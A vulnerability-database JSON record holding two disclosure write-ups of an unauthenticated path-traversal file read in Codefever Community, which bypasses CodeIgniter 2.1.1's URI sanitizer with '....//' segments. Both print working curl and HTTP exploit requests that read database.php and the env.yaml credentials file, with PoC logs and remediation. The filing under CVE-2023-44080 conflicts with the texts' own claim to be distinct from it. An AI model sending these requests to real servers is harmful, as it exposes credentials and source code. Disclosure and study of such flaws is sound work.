{"vulnerability": "CVE-2023-44080", "sightings": [{"uuid": "9d7d2eae-6956-4bbb-baac-9ef13b2db8c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-44080", "type": "seen", "source": "https://gist.github.com/qianqiusujiu/1ab3ac0baedc7522ce52f3848c9e9b79", "content": "# Codefever Community Directory Traversal (CodeIgniter 2.1.1)\n\n**CWE-22 \u00b7 Unauthenticated \u00b7 Arbitrary file read via the Doc controller URI path (`....//` sanitizer-reordering bypass)**\n\n&gt; **Vendor:** PGYER\n&gt; **Product:** Codefever Community (CodeIgniter 2.1.1)\n&gt; **Affected version:** master branch, latest as of 2026-09-30 (commit 0c35e60); no official release version\n&gt; **Affected endpoints:** `GET /doc//` (e.g. `/doc/cn/`, `/doc/en/`) \u2192 `application/controllers/doc.php::_detail()`; `_assets()` shares the same sink\n&gt; **Disclosed via:** VulDB (submission #xxxxxx)\n&gt; **Note:** Sensitive extracted values (credentials) have been redacted from this public disclosure.\n\n## 1. Summary\n\nThe public documentation route `GET /doc//` is handled by `application/controllers/doc.php::_detail()`: the CodeIgniter URI string is taken verbatim and re-joined into a filesystem path (`$docFile = $rootDir . implode('/', array_slice($segments, 2))`) with **no `realpath()`/`basename()` containment**, then read with `file_get_contents()` and echoed into the doc view. The route requires no authentication. CodeIgniter 2.1.1's URI sanitizer (`str_replace(array('//','../'), '/', ...)` in `system/core/URI.php:222`) collapses literal `../` segments, but the sequential application of `str_replace` patterns can be **reordered**: `....//` segments re-form `../` *after* the sanitizer has run, yielding a full unauthenticated arbitrary file read (verified 6 hops beyond the repository root).\n\n## 2. Root Cause\n\n| File | Lines | Role |\n|---|---|---|\n| `application/controllers/doc.php` | 60-68 | `_detail()` \u2014 URI string \u2192 filesystem path, no containment |\n| `application/controllers/doc.php` | 79 | `file_exists($docFile)` \u2014 accepts any existing path |\n| `application/controllers/doc.php` | 99 | `file_get_contents($docFile)` echoed into the doc view |\n| `application/controllers/doc.php` | 121-133 | `_assets()` \u2014 same unsanitized `$docFile` via `finfo`/`fopen`/`echo` |\n| `system/core/URI.php` | 222 | CI 2.1.1 sanitizer \u2014 `str_replace(array('//','../'), '/', ...)` |\n\n```php\n// application/controllers/doc.php (_detail)\n$path    = $this-&gt;uri-&gt;uri_string;                    // L60 - raw URI\n$segments = explode('/', $path);                      // L62\n$rootDir  = implode('/', [dirname(APPPATH), 'doc', $docPath]) . '/';  // L66\n$docDir   = array_slice($segments, 2);                // L67\n$docFile  = $rootDir . implode('/', $docDir);         // L68 - NO containment check\n...\n$this-&gt;load-&gt;view('doc/detail', [ ..., 'doc' =&gt; str_replace('`','\\\\`', file_get_contents($docFile)) ]); // L99\n```\n\nWhy the naive `../` payload fails and `....//` works \u2014 CI 2.1.1 sanitizes with sequential `str_replace` passes:\n\n```text\ninput segment:      ....//....//\npass 1 ('//' -&gt; '/'):  ...../...../      (each '//-' collapsed first)\npass 2 ('../' -&gt; '/'):  ../../../         (traversal RE-FORMED after sanitization)\n```\n\n- `permitted_uri_chars` (application/config/config.php:129) includes `.`, so dot segments pass `_filter_uri`.\n- `Base::__construct` never enforces login \u2014 the route is fully unauthenticated.\n\n## 3. Prerequisites\n\n- None. No authentication, no configuration, no victim interaction \u2014 a single GET request.\n- The fronting SAPI must pass dot-segments to PHP un-normalized (`php -S` and Apache `PATH_INFO` do; request with `curl --path-as-is`).\n\n## 4. Reproduction\n\n```bash\n# 2 hops: read a configuration file outside the web docroot (inside the repo)\ncurl --path-as-is 'http:///doc/cn/....//....//application/config/database.php'\n# -&gt; HTTP 200, raw file content embedded in the application's doc view\n\n# 6 hops: escape the repository root entirely - arbitrary absolute-depth read\ncurl --path-as-is 'http:///doc/cn/....//....//....//....//....//....//'\n```\n\nConfirmed results (unmodified application, real routing/controllers/views):\n\n- `/doc/cn/....//....//application/config/database.php` \u2192 HTTP 200, the raw `database.php` text rendered inside the app's own doc view wrapper (`div.doc-content` present).\n- 6-hop variant \u2192 HTTP 200 with the content of an arbitrary file on the same drive (verified reading a file outside the installation directory).\n- Naive literal `../` payload \u2192 does NOT fire: the Doc constructor redirects slash-less paths and CI collapses `../` in `URI.php:222` before `uri_string` is built.\n- Encoded variant `/doc/cn/..%2f..%2f...` \u2192 NOT exploitable on this stack (CI 2.1.1 never URL-decodes URI segments).\n\n## 5. Confirmed Techniques\n\n- `....//` str_replace-reordering bypass (2 and 6 hops), `curl --path-as-is`, no cookies sent.\n- `file_exists()` gating passes for any existing path; content echoed verbatim inside the doc view.\n- `_assets()` branch (doc.php:121-133) shares the same unsanitized `$docFile` (reached when the basename matches `/^\\w{32}\\.png$/`) \u2014 same root cause, not separately exercised.\n\n## 6. Impact\n\n- An unauthenticated attacker reads arbitrary files on the web server's drive: source code, configuration files, and any secrets readable by the PHP user.\n- In the shipped Docker deployment, `env.yaml` holding database credentials sits exactly at the traversed location; `/etc/passwd` and application sources are readable.\n- Read-only primitive (no write/delete via this sink).\n\n## 7. CVSS 3.1\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` (Base 7.5 High)\n\n## 8. Remediation\n\n- After building `$docFile`, verify containment: `str_starts_with(realpath($docFile), realpath($rootDir))` and reject the request otherwise.\n- Reject any URI segment containing `..` before `implode()` (in addition to, not instead of, the realpath check).\n- Apply the same containment to the `_assets()` branch.\n\n## 9. References\n\n- Project: https://github.com/PGYER/codefever\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- Distinct from CVE-2023-26817 (RCE) and CVE-2023-44080 (branchList) \u2014 different files and root causes\n- External disclosure: [GIST_URL]\n- VulDB submission #xxxxxx\n\n---\n*All validation was performed in a local, isolated environment. The temporary environment was destroyed after testing.*\n", "creation_timestamp": "2026-09-29T18:30:31.000000Z"}, {"uuid": "9c1e0101-de97-4830-b836-68de573b051a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-44080", "type": "seen", "source": "https://gist.github.com/asdfghjkl12345678910111/40ef17031bf9c114fb3888de8793aa25", "content": "# Unauthenticated Arbitrary File Read in Codefever Community (CodeIgniter URI sanitizer re-ordering)\n\n## Vulnerability Summary\n\n- **Product**: Codefever Community \u2014 self-hosted Git repository web application\n- **Vendor**: PGYER\n- **Source Code**: https://github.com/PGYER/codefever\n- **Affected Version**: `master` @ `0c35e60f006f9d558cc33a159baf110659351990` (committed 2024-12-10; no tagged release)\n- **Vulnerable File (pinned)**: https://github.com/PGYER/codefever/blob/0c35e60f006f9d558cc33a159baf110659351990/application/controllers/doc.php\n- **Type**: CWE-22 \u2014 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n- **Authentication Required**: **none**\n- **CVSS 3.1**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` \u2014 **7.5 (High)**\n\n## Vulnerability Details\n\nThe public documentation route is handled by `application/controllers/doc.php::_detail()`. The CodeIgniter URI string is taken verbatim and re-joined into a filesystem path with **no `realpath()` / `basename()` containment**, then read with `file_get_contents()` and echoed into the documentation view:\n\n```php\n// application/controllers/doc.php \u2014 _detail()\n$path     = $this-&gt;uri-&gt;uri_string;                                    // L39  raw URI\n$segments = explode('/', $path);                                       // L40\n$rootDir  = implode('/', [dirname(APPPATH), 'doc', $docPath]) . '/';   // L42\n$docDir   = array_slice($segments, 2);                                 // L43\n$docFile  = $rootDir . implode('/', $docDir);                          // L44  no containment\n...\n$this-&gt;load-&gt;view('doc/detail', [ ..., 'doc' =&gt; file_get_contents($docFile) ]); // L99\n```\n\nThe route requires no authentication \u2014 `Base::__construct` never enforces login.\n\n**Why a naive payload fails and `....//` works.** CodeIgniter 2.1.1 sanitizes the URI in `system/core/URI.php:222` with a sequential `str_replace`:\n\n```php\nstr_replace(array('//', '../'), '/', trim($uri, '/'))   // CI 2.1.1\n```\n\nBecause `str_replace` applies its patterns **in order**, a `....//` segment is first rewritten by the `//` pass into `...../`, and the subsequent `../` pass turns `...../` back into `../` \u2014 the traversal is re-formed **after** the sanitizer has already run:\n\n```text\ninput segment:         ....//....//\npass 1 ('//' -&gt; '/'):  ...../...../      (each '//' collapsed first)\npass 2 ('../' -&gt; '/'): ../../../         (traversal RE-FORMED after sanitization)\n```\n\n`permitted_uri_chars` (`application/config/config.php`) includes `.`, so dot segments pass `_filter_uri`.\n\n## Prerequisites\n\n**None.** No authentication, no session, no CSRF token, no configuration, no victim interaction \u2014 a single GET request.\n\nThe fronting SAPI must pass dot-segments to PHP un-normalized (`php -S` and Apache `PATH_INFO` do). Requests must be sent with `curl --path-as-is` so the client does not normalize the dot segments first.\n\n## Reproduction Steps\n\nDeploy commit `0c35e60f006f9d558cc33a159baf110659351990` and serve it (the unmodified application, real routing/controllers/views).\n\n### Control \u2014 literal `../` is collapsed by the sanitizer\n\n```http\nGET /doc/cn/../../application/config/database.php HTTP/1.1\nHost: \n```\n\n```http\nHTTP/1.1 302 Found\nLocation: /doc/cn/\n```\n\nCI 2.1.1 collapses the literal `../` segments before `uri_string` is built, so the request never reaches the file read. (The URL-encoded variant `/doc/cn/..%2f..%2f...` is likewise **not** exploitable: CI 2.1.1 never URL-decodes URI segments.)\n\n### Exploit \u2014 two hops, reads a configuration file outside the docroot\n\n```http\nGET /doc/cn/....//....//application/config/database.php HTTP/1.1\nHost: \n```\n\n```http\nHTTP/1.1 200 OK\nContent-type: text/html\n```\n\nThe response body embeds the **raw text of `database.php`** inside the application's own documentation view (`div.doc-content` present), e.g.:\n\n```text\n$db['default']['hostname'] = YAML_MYSQL_HOST . ':' . YAML_MYSQL_PORT;\n$db['default']['dbdriver'] = 'mysqli';\n/* Location: ./application/config/database.php */\n```\n\n### Six hops \u2014 escapes the repository root entirely\n\n```http\nGET /doc/cn/....//....//....//....//....//....// HTTP/1.1\nHost: \n```\n\nSix `....//` segments climb past the installation directory; arbitrary-depth reads on the same drive succeed. Depth is unbounded (`any`-style path, no cap).\n\n### High-value collateral \u2014 the deployment's credentials file\n\nThe shipped Docker deployment keeps `env.yaml` at exactly the traversed location:\n\n```http\nGET /doc/cn/....//....//env.yaml HTTP/1.1\nHost: \n```\n\n```http\nHTTP/1.1 200 OK\n```\n\n```yaml\nmysql:\n  host: 127.0.0.1\n  port: \n  username: \n  password: \nkey: \nsalt: \ngateway:\n  token: \n```\n\n## Proof of Concept Execution Logs\n\n```\n=== control: benign documentation page ===\nGET /doc/cn/start/welcome.md                      -&gt; 200  (normal doc view)\n\n=== control: literal ../ is collapsed ===\nGET /doc/cn/../../application/config/database.php -&gt; 302  (0 bytes, no file content)\n\n=== control: same ....// syntax, non-existent file ===\nGET /doc/cn/....//....//no-such-file.txt          -&gt; 302  (no file content)\n\n=== exploit: 2 hops ===\nGET /doc/cn/....//....//application/config/database.php -&gt; 200  (21361 bytes)\n     body contains: $db['default']['hostname'] = YAML_MYSQL_HOST . ':' . YAML_MYSQL_PORT;\n                     $db['default']['dbdriver'] = 'mysqli';\n\n=== exploit: credentials file ===\nGET /doc/cn/....//....//env.yaml                  -&gt; 200  (18623 bytes)\n     body contains the mysql credentials, session key, TOTP salt and gateway token\n\n=== exploit: 6 hops, escapes the repository root ===\nGET /doc/cn/....//....//....//....//....//....// -&gt; 200  (18080 bytes)\n```\n\nAll requests sent with **no cookies**; the response `Set-Cookie` is issued by the application itself during the request. Only two lab-environment aids were used, neither touching the vulnerable code path: a `yaml_parse_file()` shim (portable PHP lacks pecl-yaml) and `env.yaml` / `config.yaml` created from the shipped templates.\n\n## Impact\n\n- **Unauthenticated arbitrary file read** on the web server's drive \u2014 source code, configuration files, and any secret readable by the PHP process.\n- In the shipped Docker deployment, **`env.yaml` holds the database credentials and the instance-wide session key, TOTP salt and gateway token** \u2014 read in a single unauthenticated request.\n- Read-only primitive: no write or delete through this sink.\n\n## Boundaries of the Primitive (verified)\n\nStated explicitly so that the impact is not overstated:\n\n- **Read-only.** `file_get_contents()` output only; no file write, no code execution through this sink.\n- **Encoded traversal is dead here.** `/doc/cn/..%2f..%2f...` returns 302 \u2014 CI 2.1.1 does not URL-decode URI segments, so only the literal `....//` normalization-confusion form works.\n- **`file_exists()` gates the read** \u2014 only existing paths are served; a well-formed traversal to a non-existent path returns 302.\n- The `_assets()` branch (`doc.php` L118-133) shares the same unsanitized `$docFile` (reached when the basename matches `/^\\w{32}\\.png$/`); same root cause, not separately exercised.\n- **Distinct from CVE-2023-26817 and CVE-2023-44080** \u2014 both are remote code execution issues in different files/root causes (`/controllers/api/user.php` and `branchList`). This finding is a path traversal in `application/controllers/doc.php`, a different vulnerability class and code path.\n\n## Remediation\n\n- After building `$docFile`, verify containment: resolve with `realpath()` and require the result to start with `realpath($rootDir)`; reject otherwise.\n- Reject any URI segment containing `..` **before** `implode()` \u2014 in addition to, not instead of, the `realpath()` check.\n- Apply the same containment check to the `_assets()` branch.\n", "creation_timestamp": "2026-10-01T13:13:12.000000Z"}]}